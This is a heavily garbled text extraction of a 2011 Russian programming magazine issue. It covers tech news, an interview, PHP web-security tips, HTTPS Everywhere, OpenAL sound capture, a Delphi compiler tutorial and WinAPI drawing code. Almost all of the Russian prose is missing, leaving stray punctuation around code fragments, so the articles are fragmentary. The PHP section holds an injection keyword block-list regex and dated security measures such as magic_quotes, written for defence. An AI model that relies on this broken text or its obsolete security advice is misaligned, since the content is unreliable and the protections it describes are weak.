ПРОграммист 11

57

description

МеждународнаяАкадемияИнформатизации (МАИН)РК www.academy.kz Журнал«Радиолюбитель» www.radioliga.com КлубПРОграммистов www.programmersforum.ru V.K.сайт... www.kotoff.info FreeLegalSoftGroup www.flsoft.ru AirNet-Berdyansk www.airnet.sytes.net www.procoder.info Информационнаяподдержка: Литературныйредактор Utkin Официальныйсайтжурнала:

Transcript of ПРОграммист 11

  • 20- ................................. .3, ............................................... .4VIP .-. .... .9 PHP. ............................... .15 FireFox ............................ .18 DSP. 1 ......................................... .21 . 4 .................... .24 WinAPI C++ ...................... .40 Windows. 1-2 ...................................... .45 .......................................... .55

    2010. 11, 2011 .: UtkinJTG, , ZvEr_HaCkEr,Natali-Ka, , -Yan Liplavskiy

    :Natali-Ka, :Utkin, , , , , , , :www.procoder.info: [email protected] [email protected] [email protected] : () www.academy.kz www.radioliga.com www.programmersforum.ruV.K. ...www.kotoff.infoFree Legal Soft Groupwww.flsoft.ruAirNet-Berdyanskwww.airnet.sytes.net: . , , , , . , ,. . , , . . A4, 57 .: www.programmersforum.ru :Natali-Ka

    ^

    11 () 2011

  • ... VIP . -, . Utkin-. ... PHP. FireFox . . DSP. , . WinAPI ++. . Windows. ()

    ( ) Wi-Fi ( ) ( ) ( )

    , ( SCRIBUS) , :

    , , , , / , ; MSWord, VK WordPad , Arial 10; , ; PNG, TIF; ; [email protected].

    . . ,

    , -

    20- ! , : , . http://forum.procoder.info. , . Natali-Ka. , . , , ! . , . - ... , 20- http://radioliga.com. , ! , , . , , , . !

    3

    11 () 2011

  • -. . . , 31 1960 . , . , 2011 . , , . 2002 HighLift Systems, NASA. , , , . , , , . 2002, : 130, 300 , 5. , , ., : . . . , . , . by raxp http://raxp.radioliga.com

    ARM Microsoft Windows 8. , CES 2011, Microsoft , Windows ARM . , ARM WindowsPhone 7, , . , ARM Windows x86 ., CES 2011 Windows ARM Office, ARM . PowerPoint : - Internet Explorer 9, HTML 5. : Full HD. .

    , Tegra 2 Windows HDMI.- GPS-, , , iPhone4, . , - - GPS-, 93%, GPS

    4,

    11 () 2011

  • 5

    64%. 1 500 , . , GPS- 8 : , . 10 990 , , . - - -, - - ( - ) Qualcomm ZTE. , . - Google, Facebook Yahoo IPv6-. . , - World IPv6 Day, , , IPv6, - IPv4 IPv6 - , IPv4. Skype . ,

    . , , , . , , , - . - Skype - - - - . , - - . - (DOE) , LHC, . DOE , (), ,

    ,

    - - , . , - (TGF) . , 500 TGF , . -, . - 511 ., . 14 2009 . 4 . , . , TGF , . ( , ), . , -,

    . , . , -.

    11 () 2011

  • 6

    DOE . (2 14) . LHC , , ( ,, LHC) . BAE Systems 150 . . . . - , , , . Kirtland BAE 9 , , . * . : -, . -. - ,

    . -. - . , , . , 33.27 , , , , , . .

    ,

    * . , . , ( )., , , 2007 . (Alex Zettl) , : - : : , , . , , 30- , . . , . , . . . http://www.SciAm.com/nanoradio. , .

    11 () 2011

  • 7

    .** WAF-2010.

    . . , . TGER, . . TGER , . , , , . , . , , . 10% , -, . 500 1000 . , . . TGER 60 .

    ,

    11 () 2011

    ** . , , . , 3.2 .2, , . , . , , - , . , . , . 30 . .

    ,, .

    . , , , , . . .

  • 8

    , , . , . Hineabrasiliana : , . , , , . , , . , , . , , . - -, , - . - . : , , , , . - (Amitai Bin-Nun),- - , , . , , . , -, , , , . , -, . , -

    . , - , , , , , , . , . - , S2, 2018 , , . , , S2 44%, . . , . . , 3.2 , 200 . . .

    , . , , . , - . 700 . , , 10 . , . , , . , , . .

    ,

    11 () 2011

  • 9

    . -

    VIP

    , . , . , , . , , , , . , , , , . . http://procoder.info : , -, .... , . , -, -. , Utkin: : . ,-, .- , , 66 , ,. -http://kohnvict.narod.ru.Utkin: , , ?: . (), - , - , - (-). - , , , - . . -, -

    . . .Utkin: ()?: , , . , , , . , . ( ) , . , . , - . -, .

    Utkin: - ?: . , - , - -

    (-, .- )

    11 () 2011

  • 10

    . , . -, -. . , .Utkin: / ?: ( ). , . , . . . , , , (5 ). . , . . . . : , , . . , , . , . . , , , . . , . . . , . .

    , .Utkin: - , , ?: . , . , . . , , . , 80- .Utkin: , ? ?: 850- . . , , . . , . 2009 . , , . , . 95- . 95- (). , , . Nature ( ) . . , Innovation award on

    VIP

    11 () 2011 . -

  • 11

    synchrotron radiation 2010. - , . 2001 . 10- , , .Utkin: ? -?: . , , . . , . . , . 50-60- . , , ., . , , . . . . , . . , , . - , , . . , 60- .

    . , 40- 60- . , . . . . . , , , - . , , - . , . , , .Utkin: , ?: . , . 180 120- . 30 6 . 10 3. . , , . . , , .Utkin: ?: , . , . , - . , .

    VIP

    11 () 2011 . -

  • 12

    . , , , , . . , , . , , . , , , .Utkin: ? , ?: . -, , . . -, . , . . , . . , , , , . .Utkin: -?: . . . - (). , , . , , . . ( , ). ,

    . .Utkin: , , ?: . , . . . . , , . .Utkin: ?: . . , . , , . . , , , . . . , . . , . .Utkin: ,? . ( LaTe-, ), , . . , . , . . ( ) ( ).

    VIP

    11 () 2011 . -

  • 13

    Utkin: , , - . ? ? ?: . , . 90- . ( , ), . , . . , . . , . , . 2015 . , , . - 25% . 50%. 25% . . . , - (, ) , . , . , , , (

    ). . - ( ), , . , . . . , . http://viperson.ru/wind.php?ID=261843 - , . , , , . , . - , . , . . , . 1998 - . . , , . - . , .

    VIP

    11 () 2011 . -

  • 14

    . . , , . . , , , . . . . . . , . , . , . . . ,, , , , . . . . . , . . . .

    , . - . , .Utkin: ?: 66 . , . . , , , . , , . , . . , - . , , . , 12 . .

    , . , , . .

    VIP

    11 () 2011 . -

  • 15

    PHP. WEB- PHP- . , , , , . . ... by [email protected]

    PHP . : - . , . . : , . , . . phpinfo.php . . : , , php. , , . . : , . , .

    . : PHP , . , .PHP-. : , PHP , . , . : eval(), preg_replace(),require_once(), include_once(), include(),require(), create_function(), readfile(), dir(),fopen().PHP- . : , , . , . .E-mail-. : , PHP , . , , .SQL-. : , -

    11 () 2011

  • 16

    SQL-, , . , , . :SELECT, UNION, UPDATE, INSERT, OR, AND. XSS. : , , . , , . html-.

    PHP1. . - error_reporting(0) .htaccess php_flag error_reporting 02. . , (, 7O0iV98dq).3. -. , , . , , . :

    function writelog($typelog, $log_text) {$log = fopen('logs/'.$typelog.'.txt','a+');fwrite($log, "$log_text\r\n");fclose($log);

    }writelog('authorization', date("y.m.d H:m:s").

    "\t".$_SERVER['REMOTE_ADDR']."\t ");

    4. . -

    . .htaccess FilesMatch Files. , PHP, capcha.php:Order Deny, Allow

    Deny from all

    Allow from all

    5. . register_globals = off .htaccess php_flagregister_globals off. ini_set('register_globals',0) , .6. . allow_url_fopen = off. PHP-, , , . PHP- . - ( ).7. . - . . . . , , . : script, http,SELECT, UNION, UPDATE, exe, exec, INSERT, tmp, html-. :

    11 () 2011

    PHP.

  • 17

    // . // , _-if (preg_match("/[^(\w)|(\x7F-\xFF-)|(\s)]/",$text)) {

    $text = '';}// if (preg_match("/script|http|||SELECT|UNION|UPDATE|

    exe|exec|INSERT|tmp/i",$text)) {$text = '';

    }

    8. HTTPPOST. PHP- . is_uploaded_file() move_uploaded_file(). , .9. , - . SQL-. mysql_real_escape_string(). , MySQL. , . .htaccess php_value magic_quotes_gpc on, , . mysql_real_escape_string():

    if (!is_numeric($text)) {$textrequest = mysql_real_escape_string($text);

    }

    , .10.

    HTML- . XSS. , , html-, htmlspecialchars(). , HTML-. , . , , PHP- .

    11 () 2011

    PHP.

  • 18

    FIREFOX 11 () 2011

    Wi-Fi http://www.youtube.com/watch?v=jsFODcwiRFY. . Firefox HTTPS Everywhere, , . , . , ... by TIgor http://tigor.org.ua

    . , , HTTPS Everywhere Mozilla Firefox, Electronic Frontier Foundation [1]. , 1990 . : , , . - HTTPS EveryWhere, Mozilla, https://www.eff.org/https-everywhere. , , , , . :

    DropBox;Google Search;Mail.com;Twitter;Amason S3;Gentoo;Google Services;Meebo;NYTimes;bit.ly;Hotmail / Live;

    Microsoft;PayPal;Wikipedia;Evernote;Mozilla;WordPress.com;Cisco;Facebook;Google APIs . , :

    Amazon ( );Facebook+ ( , ). , , , . , https://vkontakte.ru 403(), , ., . , youtube.com, . %AppData%\Mozilla\Firefox\Profiles\\HTTPSEverywhereUserRules\ , . :

  • 19

    11 () 2011

    , ; , . , (*), *.youtube.com ( youtube.*); , from to. , . JavaScript; , . , Firefox. , . , . HTTP, HTTPS , , http://google.com https://encrypted.google.com. , FAQ . Mozilla . . , , Google , Google Instant. . ? , , , : Wi-Fi

    McDonalds, vkontakte.ru. Wi-Fi , . , . Wi-Fi, , . , , . -, , . vkontakte.ru , vkontakte.ru,, , , vkontakte.ru . , , ( IP , ). , (. ). , , . , , .. HTTPS Everywhere - , , .

    FIREFOX

  • 20

    .Yandex.ruYandexRu.xml , https . , - exclusion, :

    Yandex.ua , . ,

    ?

    https . :[email protected] https://www.mail.ru ,https://win.mail.ru 403 Forbiden. , https://secure.mail.ru;Rambler.ru https http, https;livejournal.com https ;liveinternet.ru https , https://www.liveinternet.ru ;rutube.ru https http.

    * , , , . , , .

    Electronic FrontierFoundation https://www.eff.org http://tigor.org.ua

    11 () 2011 FIREFOX

    * .1. .2. Wi-Fi , .3. McDonalds ,

    .

  • 21

    DSP. 1 11 () 2011 , , Digital SignalProcessing (DSP). DSP* , , - , . , . ? DSP : , , .. . , . ... by mirat http://mathdev.org/mirat

    ? , , ; . , . , . , - , , (). . , . . http://ru.wikipedia.org/wiki/ - , , , ,

    - ( http://ru.wikipedia.org/wiki/). c , , 0 1.5 ( ). . , . , 0 1.5 ,, , . . , http://ru.wikipedia.org/wiki/_(_). ( ) ., - , , (-, ). DSP. . , :

    ( ); ( . 8 16

    * . (DSP Digital SignalProcessing) . DSP( ) . ..

  • 22

    11 () 2011

    , 8- 16- ,); (1 ), (2 ) ( ). 1, : , , .., , ... - 44100 ( AudioCD). ?, 20-. ** (, ) , F, 2F. WAV- . . . OpenAL. , ., , OpenAL. Ubuntu 9.04 OpenAL 1.4.272, . OpenAL ( openal-soft-1.10.622). -, OpenAL - ( ,

    ):#include #include

    const int BUF_COUNT = 5;

    // , class SoundManager{ // , "OpenAL related stuff"

    ALCdevice * in_device;ALCdevice * out_device;ALCcontext * context;

    ALuint al_source;ALuint al_buffers[BUF_COUNT];

    // , ALshort *play_buf;int read_buf_size;int play_buf_size;

    public:SoundManager()

    {// read_buf_size = 44100;play_buf_size = 1024;play_buf = new ALshort [play_buf_size];

    // OpenAL out_device = alcOpenDevice (0);context = alcCreateContext(out_device, 0);alcMakeContextCurrent(context);

    in_device = alcCaptureOpenDevice (0, 44100,AL_FORMAT_MONO16, read_buf_size);

    alGenSources(1, &al_source);alGenBuffers(BUF_COUNT, al_buffers);

    // for (int i = 0; i < play_buf_size; ++i )

    play_buf[i] = 0;

    for (int i = 0; i < BUF_COUNT; ++i){alBufferData(al_buffers[i], AL_FORMAT_MONO16, play_buf,

    play_buf_size * sizeof(ALshort), 44100);}

    DSP. 1

    ** . , . , .

  • 23

    // alSourceQueueBuffers(al_source, BUF_COUNT, al_buffers);alSourcePlay(al_source);

    alcCaptureStart(in_device);}

    void update(){ALint samples, val, state;

    // , alGetSourcei (al_source, AL_SOURCE_STATE, &state);

    if (state != AL_PLAYING) alSourcePlay(al_source);

    alcGetIntegerv(in_device, ALC_CAPTURE_SAMPLES,sizeof(samples), &samples);

    alGetSourcei (al_source, AL_BUFFERS_PROCESSED , &val);

    // // , , // while ( ( (val--) > 0) && (samples > play_buf_size) ){ALuint buffer;

    alcCaptureSamples(in_device, play_buf, play_buf_size);

    // ... , , ;)process();

    // , // alSourceUnqueueBuffers(al_source, 1, &buffer);alBufferData(buffer, AL_FORMAT_MONO16, play_buf,

    play_buf_size * sizeof(ALshort), 44100);

    alSourceQueueBuffers(al_source, 1, &buffer);

    alcGetIntegerv(in_device, ALC_CAPTURE_SAMPLES,sizeof(samples), &samples);

    }

    }

    void process(){// "all fun is here"

    }

    ~SoundManager(){alcCaptureStop(in_device);

    alcCaptureCloseDevice(in_device);}

    };

    int main(){

    SoundManager s;

    while (1){

    s.update();}

    }

    - . . , AL_FORMAT_MONO16, 16- . , process() play_buf . . , ,, . , , , , . . .

    http://mathdev.org/sites/default/files/dsp1.cpp_.zip OpenALhttp://kcat.strangesoft.net/openal-tutorial.html http://mathdev.org/mirat

    11 () 2011

    DSP. 1

  • 24

    11 () 2011

    . 4, : , ?. ? , . , - . ? . - . , , by Stilet http://www.programmersforum.ru

    Adding again and again, , . . . . . , , , , , ( ) , - . ? , ( , ), , -. . : . ., , , , - , . , -. ( , ,,

    ). . , .. , . , ( ) , . , , ( , , ) . . , -, . . ( ), , . , . ,, , . , . , . , -, . , . . - - .

  • 25

    11 () 2011

    , . . , . , ., TAlisaSection. , ? , . . , - :

    , , , , . , . . , , . , . , , . . , , , . . , , . , .

    . . . , .

    . . . . : ? , - . , , . , , , . , . ? , 80 . . ? . ( ), . , 8025. , , , , , , . - . , , . , , . , , , , .

    . 4

  • 26

    , ? . . , ( String . 2Gb ? , ) , . Delphi, , , , . , . , MemName, 12-thisMemName +=. . . , . (. 1) ? 7 ( ). (. 2)? , . ?- , 32- .

    4 . , 4 . . ,

    11 () 2011

    . 4

    . 1.

    . 2.

  • 27

    , ., , AL, AH ( ). 8-. , , , , . (. 3). , . , ,, 20. 1, 8. , 500? ,

    , 8, 16 32 . , , 32 . , 32 , /, / . 16 32 . , . . -, , ? . . . , ( ) ,

    . 3.

    11 () 2011

    . 4

  • 28

    . , ? Case , Variant , Union ? , , Hey, body, - , , , , , , . , , ? Float? . 64? 8 , . , . , ? ? 32 ( 64, ). 80-. 10 . TBYTE . ? 4 . ? . , , , 4 . , 10 . 10 , ,

    *., ? . , . . , :

    TAlisaMem=classpublicMemName:string; // Data:Variant; // TypeMem:TypeOper; // Section:TObject; // , Offset:DWord; // Function Addr:String; // - .. Function PointerToMe:DWORD; //

    end;

    . . , :function TAlisaMem.Addr: String;beginResult:=DWordToStr(PointerToMe);

    end;

    function TAlisaMem.PointerToMe: DWORD;begin

    Result:=(Offset+TAlisaSection(Section).VirtualAddress+TAlisaCompiler(TAlisaSection(Section).ParentCompiler).

    PE.ImageBase);end;

    PointerToMe , . , ( ) . , 400000h, 2000h, ( 10 ). 400000h+2000h+10*3, 16- 0h =402014h. , . ,

    11 () 2011

    . 4

    * . C#, var. . , , , , . LINQ. , , 10 , . , , . Windows, - . - . 10 , . . , , , . , . . , .

  • 29

    11 () 2011 . 4, . Addr, , . DWordToStr ., , . . , :

    typeTypeOper = (_Unknown,_Int,_Double,_String,_Operator,_Member);

    ?_Int,_Double,_String , . _Unknown , . . Operator,_Member , . . , :

    TAlisaSection=class // , Private

    Mems:TObjectList;public

    Function Operator(SourceCode:String):String;function Mem(AName:string):TAlisaMem;function NewMem(ANameMem:string;AData:Variant):TAlisaMem;

    end;

    ? Mems . . . VAR. . , . . . NewMem.

    ** , , :function TAlisaSection.NewMem;begin// Result:=TAlisaMem.Create;// Mems.Add(Result);// Result.MemName:=AnsiLowerCase(ANameMem);// ( )Result.Data:=AData;// , Result.Section:=self;// Result.Offset:=length(_Data);// // if VarIsFloat(AData) then _Data:=_Data+TWordToStr(AData) else// if VarIsOrdinal(AData) then_Data:=_Data+DWordToStr(AData)+#0#0#0#0#0#0 else// if VarIsStr(AData) then begin_Data:=_Data+AData;// 10 while (length(_Data) mod 10)0 do _Data:=_Data+#0;

    end;end;

    . , Shift ., IDE , , , , BlackBox, , . ** . . , , 10 Variant. 10 , . , . .

  • 30

    11 () 2011 , , , , , , . . .TwordToStr . , , , , . :

    // Extended 80-bitfunction TWordToStr(d:Extended):string;type qw=array[1..10] of byte;var i:integer;begin Result:='';for i:=1 to 10 doResult:=Result+char(qw(d)[i]);

    end;

    , *** , . , 123456h 563412h, 56 34 . , . Mem. :

    function TAlisaSection.Mem(AName: string): TAlisaMem;var i:integer;beginResult:=nil;// AName:=AnsiLowerCase(AName);// // // nilfor i:=0 to Mems.Count-1 do

    if TAlisaMem(Mems[i]).MemName=AName then beginResult:=TAlisaMem(Mems[i]);break;

    end;end;

    , , , nil, .. ( , ). . . ? , . , . . , , , - , , - Operator. ? . . , . , . , . , , main(). , {} . , , , , , ,

    . 4

    *** . , Extended(80- ) Integer ( 32 ). . .

  • 31

    11 () 2011. main() . , ( ). , . , , , , . Operator, - . , . , , , , , , , . :

    , . ; , ; , . . , , . , , , , -; . , ( ), -, .

    -, , -; () , , .. :

    function TAlisaSection.Operator(SourceCode: String): String;var sc:TAlisaScaner;i:integer; krn:TAlisaKernel;begin// sc:=TAlisaScaner.Create;// ()sc.Text:=SourceCode;// .// , Result:='';// krn:=TAlisaKernel.Create(self);// krn.ParentSection:=TAlisa(TAlisaCompiler(ParentCompiler).

    ParentAlisa).MemberSection;// // // for i:=0 to sc.High do begin

    Result:=Result+krn.Operator(sc[i]).Res;end;// krn.Free; krn:=nil;sc.Free; sc:=nil;

    end;

    , . TAlisaKernel. , , . , . . -,

    . 4

  • 32

    . , (MemberSection). , , , ****. :TAlisa=class(TComponent)private// - Compiler:TAlisaCompiler;// . MemberSection:TAlisaSection;// ,

    FSource: String;procedure SetSource(const Value: String);publicProperty Source:String read FSource write SetSource;Constructor Create(AOwner:TComponent); override;Destructor Free;// , ( )Procedure Run(AFileName:String);

    end;

    . , , . , . , . Source, Run, ( , ) , :procedure TAlisa.Run(AFileName: String);var f:file of byte;cdata:String;begin// AssignFile(f,AFileName);rewrite(f);// // cdata:=Compiler.Compile;// // .BlockWrite(f,cdata[1],length(cdata));

    // .CloseFile(f);

    end;

    :constructor TAlisa.Create(AOwner: TComponent);begininherited;Compiler:=TAlisaCompiler.Create;Compiler.ParentAlisa:=self;MemberSection:=Compiler.NewSection('',dataSec);

    end;

    destructor TAlisa.Free;begin

    Compiler.Free; Compiler:=nil;end;

    , NewSection., , ? , ? 8 . , Source:procedure TAlisa.SetSource(const Value: String);var Mainsource:String; b,f,t:integer;beginFSource := Value;// f:=pos('(main',FSource);b:=1;t:=f;while (b>0)and(t

  • 33

    , . . , . , , . , , , . . , . , , :

    var a:TAlisa;beginMemo1.Lines.SaveToFile(ExtractFilePath(ParamStr(0))+

    'file.source');a:=TAlisa.Create(nil);a.Source:=Memo1.Lines.Text;a.Run(ExtractFilePath(ParamStr(0))+'File.exe');a.Free;Close;

    end;

    . Alisa, , , . , ... . .Enter the machine TAlisaKernel. , ,

    . , :TAlisaOperRes=record

    Res:String; // TypeofOperator:TypeOper; //

    end;

    TAlisaKernel=classprivate// , // // ParentSection:TAlisaSection;// //- , // FoundedMem:TAlisaMem;FoundedInt:Integer;FoundedDouble:Extended;FoundedString:String;// ,// - // Function CompileOper(Scaner:TAlisaScaner):TAlisaOperRes;// // - Function PrepareOperation(Oper:string):TAlisaReserved;// // Function WhatIs(Obj:String):TypeOper;

    public// , Function Operator(ASource:String):TAlisaOperRes;Constructor Create(ASection:TAlisaSection);Destructor Free;

    end;

    ? Founded , , , . FoundedInt, . , FoundedMem , -, (, , , ) . ,

    11 () 2011 . 4

    **** . TAlisaCompiler, , . . . . , .

  • 34

    , , . :

    Operator ; , CompileOper; PrepareOperation -, , , -. -, , - , , , WhatIs. , , , . :

    function TAlisaKernel.Operator;var i:integer; Scaner:TAlisaScaner;begin

    // , // Result.Res:='';Result.TypeofOperator:=_Unknown;// , if ASource='' then exit;// Scaner:=TAlisaScaner.Create;// Scaner.Text:=ASource;// Result:=CompileOper(Scaner);// .Scaner.Free;

    end;

    , , . _Unknown. , . :function TAlisaKernel.CompileOper;var i:integer;

    ThisOperator:TAlisaReserved;op:TAlisaOperRes;

    begin// op.Res:='';// , // , , // , // ThisOperator:=TAlisaReserved(PrepareOperation(Scaner[0]));// , // if ThisOperator=nil then exit;ThisOperator.ItFirstDoubleOperand:=true;// - . // .ThisOperator.Scaner:=Scaner;

    { TODO : }

    // , .// += m 2 := m (+ m 2)if ThisOperator is TAlisaSelfOper then begin// += -= -

    op.Res:=ThisOperator.OnDouble(0);end else begin

    // for i:=1 to Scaner.High do begin// , // // ThisOperator.OperandNumber:=i;// , ,// Found-. // -,// case WhatIs(Scaner[i]) of_Int:op.Res:=op.Res+ThisOperator.OnInt(FoundedInt);_Double:op.Res:=op.Res+

    ThisOperator.OnDouble(FoundedDouble);_Operator:op.Res:=op.Res+

    ThisOperator.OnOperator(FoundedString);_Member:op.Res:=op.Res+ThisOperator.OnMember(FoundedMem);

    end;end;

    end;

    // . // ,// op.TypeofOperator:=ThisOperator.TypeOfLastOperand;

    11 () 2011 . 4

  • 35

    // -.ThisOperator.Free; ThisOperator:=nil;// -Result:=op;

    end;

    TAlisaReserved. . , - , . , ., , , , :

    function TAlisaKernel.WhatIs(Obj: String): TypeOper;var m:TAlisaMem; i:integer;d:Double;begin// , // , // if Obj='' then beginResult:=_Unknown;exit;

    end;

    // // , Found-, // if TryStrToInt(Obj,i) then beginResult:=_Int;FoundedInt:=i;exit;

    end;

    // , ?// , - DecimalSeparator:='.';if TryStrToFloat(Obj,d) then beginResult:=_Double;FoundedDouble:=d;exit;

    end;

    // , -// , , // if Obj[1]='(' then beginResult:=_Operator;

    FoundedString:=Obj;exit;

    end;

    // m:=ParentSection.Mem(obj);if m=nil then begin

    m:=ParentSection.NewMem(Obj,0);m.TypeMem:=_Unknown;

    end;Result:=_Member;FoundedMem:=m;

    end;

    , . . , , . , ., , -, . . , - :function TAlisaKernel.PrepareOperation;beginResult:=nil;

    // , // .Oper:=AnsiLowerCase(Oper);// ":="

    if Oper=':=' then Result:=TAlisaSet.Create else// if (Oper[length(Oper)]='=')and(length(Oper)>1) then beginResult:=TAlisaSelfOper.Create;TAlisaSelfOper(Result).Operation:=copy(Oper,1,length(Oper)-1);

    end else// , - if Oper='+' then Result:=TAlisaPlus.Create

    elseif Oper='++' then Result:=TAlisaInc.Create

    elseif Oper='--' then Result:=TAlisaDec.Create

    elseif Oper='-' then Result:=TAlisaMinus.Create

    else

    11 () 2011 . 4

  • 36

    if Oper='*' then Result:=TAlisaMul.Createelse

    if (Oper='sin')or(Oper='cos')then Result:=TAlisaTranc.Create(Oper)

    elseif pos(Oper,'/ % div mod ')0 then beginResult:=TAlisaDiv.Create;// if (Oper='/') then TAlisaDiv(Result).TypeDiviation:=1;// if (Oper='%')or(Oper='mod')or(Oper='') then

    TAlisaDiv(Result).TypeDiviation:=2;// if (Oper='div')or(Oper='') then

    TAlisaDiv(Result).TypeDiviation:=3;end;if Resultnil thenResult.ParentKernel:=self;

    end;

    , , -, , . . . ? :if (Oper='-')or(Oper=) then

    Result:=TAlisaMinus.Create

    . , . , , . , , . , , . .

    - . . , .Lets heavy metall , , , . , -. , ( , ). , .: #$A1#$00#$20#$40#$00#$C3. , . - . , ( ) :

    - ;c , , , , . , -. , :

    function PushEAX;beginResult:=#$50;

    end;

    ***** ., . , () . , -

    11 () 2011 . 4

  • 37

    , , . :

    -, , - , , -;- , , , , ; , , , .

    . -, , :TAlisaReserved=classprotected// , , // TypeOfLastOperand:TypeOper;// . ;)Scaner:TAlisaScaner;

    Private// , . ParentKernel,ParentOperator:TObject;

    public// , .ItFirstDoubleOperand:Boolean;// OperandNumber:Integer;// . .Function OnInt(i:integer):String; dynamic;Function OnDouble(d:Extended):String; dynamic;Function OnOperator(Oper:string):String; dynamic;Function OnMember(m:TAlisaMem):String; dynamic;Function OnString(s:string):String; dynamic;Function OnArray(a:string):String; dynamic;Function OnFunc(m:TAlisaMem):String; dynamic;

    end;

    . 4.

    11 () 2011 . 4

    ***** . PUSH EAX 50h. , , . , , , .

  • 38

    , . TypeOfLastOperand . . . , . 2+3*5, . . , 32 , , ( , ). , , . , . , 2.56/85.30. . FPU, - . !, - ( , . 4). , 287-, - . - , , . - , ******. , . - . , , - . , -

    80 (10 ) . , ( ), . 2*5-3.7. , 2*5=10 ( 10? ). ( ) . . . , , , . , , 3.7, 0.7. , ( - )., - - , , ,, . , , . , - -, -. - , . - , - . - -

    11 () 2011 . 4

    ****** . . , , SIS 301 RAMDAC TV-out, Xabre 400/600. , . Intel PXA, Xscale( RISC-). XPA 27x ( ) X-pipeline (), M-pipeline ( 40- (MAC)) EMMX/SSE, D-ipeline ( ).

  • 39

    , , . -, . OperandNumber ? . 2+3. . , , - , . . 2, 3, : 0+2+3. . 2 , , , ... , . , , XOR , . , , . , . 2-3. . 0-2-3. , , . 2, . . , ., . , , . , ., , . . , , , , , . . -

    :function TAlisaReserved.OnOperator;var op:TAlisaOperRes;begin// // op:=TAlisaKernel(ParentKernel).Operator(Oper);// Result:=op.Res;// TypeOfLastOperand:=op.TypeofOperator;

    end;

    , , , , , . , , :function TAlisaReserved.OnInt;begin

    end;

    , . , , .PostScriptum . -, , -, , , . , PE MZ , , .

    The

    Flat Assembler 1.64. http://flatassembler.narod.ru/fasm.htm

    11 () 2011 . 4

  • 40

    11 () 2011 WINAPI ++ , GDI+. , Windows, WinAPI, , , . , , , ... by Oleg Kutkov [email protected]

    Microsoft Visual C++ 6.0. Visual Studio, Dev C++. IDE Win32 , , , . WinAPI, , :

    #include #include

    , , , :#define Pi 3.14159265#define WIN32_LEAN_AND_MEAN //

    Windows . , , , . , -: , , . , , :LRESULT CALLBACK

    WindowProcedure (HWND, UINT, WPARAM, LPARAM);

    , , ,

    . :TCHAR szTitle[] = "";TCHAR szWindowClass[] = "oscill";

    , , , ( ). Windows WinMain. , main. WinMain :

    HINSTANCE hInstance , ;HINSTANCE hPrevInstance , , ;LPSTR lpCmdLine , , argv[];int nCmdShow (, , ). :

    int WINAPI WinMain (HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)

    {}

    WINAPI , WINAPI . , , ,

  • 41

    11 () 2011 , :

    HWND hWnd;MSG msg;WNDCLASSEX wcex;

    , , , :// wcex.cbSize = sizeof(WNDCLASSEX);// , MSDNwcex.style = CS_HREDRAW | CS_VREDRAW;// wcex.lpfnWndProc = (WNDPROC)WindowProcedure;wcex.cbClsExtra = 0;wcex.cbWndExtra = 0;// wcex.hInstance = hInstance;// wcex.hIcon = LoadIcon(NULL, IDI_APPLICATION);// wcex.hCursor = LoadCursor(NULL, IDC_ARROW);// wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);// - wcex.lpszMenuName = 0;// wcex.lpszClassName = szWindowClass;// wcex.hIconSm = LoadIcon(NULL, IDI_APPLICATION);

    , :if(!RegisterClassEx(&wcex)){

    MessageBox(hWnd, " ","", IDI_ERROR || MB_OK);

    return 1;}

    . CreateWindow. , , . :hWnd = CreateWindow(szWindowClass, szTitle,

    WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, 0,CW_USEDEFAULT, 0,

    NULL, NULL, hInstance, NULL);

    if(!hWnd){

    // , MessageBox(hWnd, " ",

    "", IDI_ERROR || MB_OK);return 1;

    }

    :ShowWindow(hWnd, nCmdShow);

    , :while(GetMessage(&msg, NULL, 0, 0)){

    TranslateMessage(&msg);DispatchMessage(&msg);

    }

    , GetMessage, . , WM_QUIT GetMessage false. return msg.wParam. WinMain. WindowProcedure. . , - . , DomiNick, :

    LRESULT CALLBACK WindowProcedure (HWND hWnd, UINT message,WPARAM wParam, LPARAM lParam)

    {

    WINAPI ++

  • 42

    RECT rect;static int offset = 0;switch (message){

    case WM_CREATE:// SetTimer(hWnd, 1, 150, NULL);return 0;

    case WM_TIMER:GetClientRect(hWnd, &rect);InvalidateRect(hWnd, &rect, true);UpdateWindow(hWnd);++offset;return 0;

    case WM_PAINT:PAINTSTRUCT ps;HDC hdc;hdc = BeginPaint(hWnd, &ps);DrawDiagram(hWnd, hdc, offset);EndPaint(hWnd, &ps);return 0;

    case WM_DESTROY:PostQuitMessage(0);return 0;

    default:return DefWindowProc(hWnd, message,

    wParam, lParam);}return 0;

    }

    , . , WM_PAINT . DrawDiagram(hWnd, hdc, offset) . , , , , . , , , , , , LRESULT CALLBACKWindowProcedure (HWND, UINT, WPARAM,LPARAM) :void DrawDiagram(HWND hwnd, HDC hdc, int offset);

    . .

    , , . . ,, , , , . API , , MSDN.

    RECT rect;GetClientRect(hwnd, &rect);

    const int xVE = rect.right - rect.left;const int yVE = rect.bottom - rect.top;const int xWE = xVE;const int yWE = yVE;double nPixPerVolt = yVE / 1000.0;double nPixPerMs = xVE / 60.0;

    SetMapMode(hdc, MM_ISOTROPIC);SetWindowExtEx(hdc, xWE, yWE, NULL);SetViewportExtEx(hdc, xVE, -yVE, NULL);SetViewportOrgEx(hdc, 10*nPixPerMs, yVE/2, NULL);

    const int tMin = 0;const int tMax = 40;const int uMin = -400;const int uMax = 400;const int tGridStep = 5;const int uGridStep = 100;

    int x, y;int u = uMin;int xMin = tMin * nPixPerMs;int xMax = tMax * nPixPerMs;

    char* xMark[] = {"0", "5", "10", "15", "20","25", "30", "35", "40"};

    char* yMark[] = {"-40", "-30", "-20", "-10","0", "10", "20", "30", "40"};

    , , , .

    11 () 2011 WINAPI ++

  • 43

    , , .HPEN hPen0 = CreatePen(PS_SOLID, 1, RGB(0, 160, 0));HPEN hOldPen = (HPEN)SelectObject(hdc, hPen0);

    . , MoveToEx(hdc, x, y,NULL), , , , LineTo(hdc, x, y). TextOut(hdc, x, y, string, strlen(string)):for(int i = 0; i < 9; ++i) {

    y = u * nPixPerVolt;// MoveToEx(hdc, xMin, y, NULL);// LineTo(hdc, xMax, y);// TextOut(hdc, xMin-40, y+8, yMark, strlen(yMark));u += uGridStep;

    }

    :int t = tMin;int yMin = uMin * nPixPerVolt;int yMax = uMax * nPixPerVolt;

    :for(int a = 0; a < 9; ++a) {

